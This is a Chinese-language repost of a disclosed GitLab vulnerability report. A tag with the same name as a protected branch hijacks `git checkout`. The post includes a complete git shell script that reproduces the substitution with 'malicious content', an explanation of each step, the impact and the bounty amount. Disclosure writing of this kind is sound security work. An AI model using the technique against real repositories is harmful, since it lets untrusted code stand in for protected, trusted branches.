-
背景
-
复现步骤
-
影响
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
arw9234于2021年8月提交了这个漏洞:
Gitlab允许分支和标签共享相同的名称。这会造成了某些git命令的模糊性,比如git checkout命令, 如果一个标签(Tag)与一个现有的受保护分支的名称相同,那么克隆存储库并尝试使用git checkout branch_name
切换至该标签(Tag),在存储库中具有Developer权限的用户可以使用此功能切换其分支,而不是根据依赖关系切换受保护的分支。
复现步骤
1.在gitlab.com上面创建一个仓库;
2.运行下面的脚本(主要是git相关的shell脚本) 最好熟悉一下git命令会好些
REPO='username/your_repo_here'
mkdir test1 && mkdir test2 && mkdir test3 && cd test1
### set up branch that we want to checkout
git clone "[email protected]:$REPO" > /dev/null 2>&1 && cd $(basename $REPO)
git checkout -b some_branch > /dev/null 2>&1
echo 'expected content' > file.txt
git add . > /dev/null 2>&1
git commit -m setup > /dev/null 2>&1
git push origin --set-upstream some_branch > /dev/null 2>&1
echo "Pushed expected content to branch some_branchn"
### try to clone repo and checkout some_branch
cd ../../test2
git clone "[email protected]:$REPO" > /dev/null 2>&1 && cd $(basename $REPO)
git checkout some_branch > /dev/null 2>&1
echo 'Tried to clone repo and checkout some_branch'
echo 'Expecting file.txt to contain: expected content'
echo "It actually contained: $(cat file.txt)n"
### set up maliciously tagged branch, which will override some_branch
cd "../../test1/$(basename $REPO)"
git checkout -b some_other_branch > /dev/null 2>&1
echo 'malicious content' > file.txt
git add . > /dev/null 2>&1
git commit -m setup > /dev/null 2>&1
git tag some_branch > /dev/null 2>&1
git push origin --tags --set-upstream some_other_branch > /dev/null 2>&1
echo "Set up maliciously tagged branchn"
### try to clone repo and checkout some_branch again
cd ../../test3
git clone "[email protected]:$REPO" > /dev/null 2>&1 && cd $(basename $REPO)
git checkout some_branch > /dev/null 2>&1
echo 'Tried to clone repo and checkout some_branch'
echo 'Expecting file.txt to contain: expected content'
echo "It actually contained: $(cat file.txt)"
上面这段脚本的主要逻辑:
1.克隆仓库到本地,而后切换至some_branch分支,并在此分支上面创建file.txt
,并向其中输入文本1,并提交,最后推送至远程仓库分支;
2.进入到test2文件,clone仓库至本地,而后切换至some_branch分支,查看file.txt
中内容
3.进入到test1文件,而后切换至some_branch分支,改变file.txt
中内容,而后提交,建立标签some_branch(这个标签的名字与前面那个分支的名字是相同的),而后推送至远程仓库分支
4.进入到test3文件,clone仓库至本地,而后切换至some_branch分支,查看file.txt
中内容
上面第二步中 file.txt
中包含预期的文本内容,而第三步中file.txt
中包含恶意内容,即使两个克隆仓库中都切换至分支some_branch。
影响
保护分支的可信任的代码可能会被删除。
此漏洞赏金在1500美元左右;
原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-新仓库中可以切换至与受保护分支同名的Tag以替换原分支
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论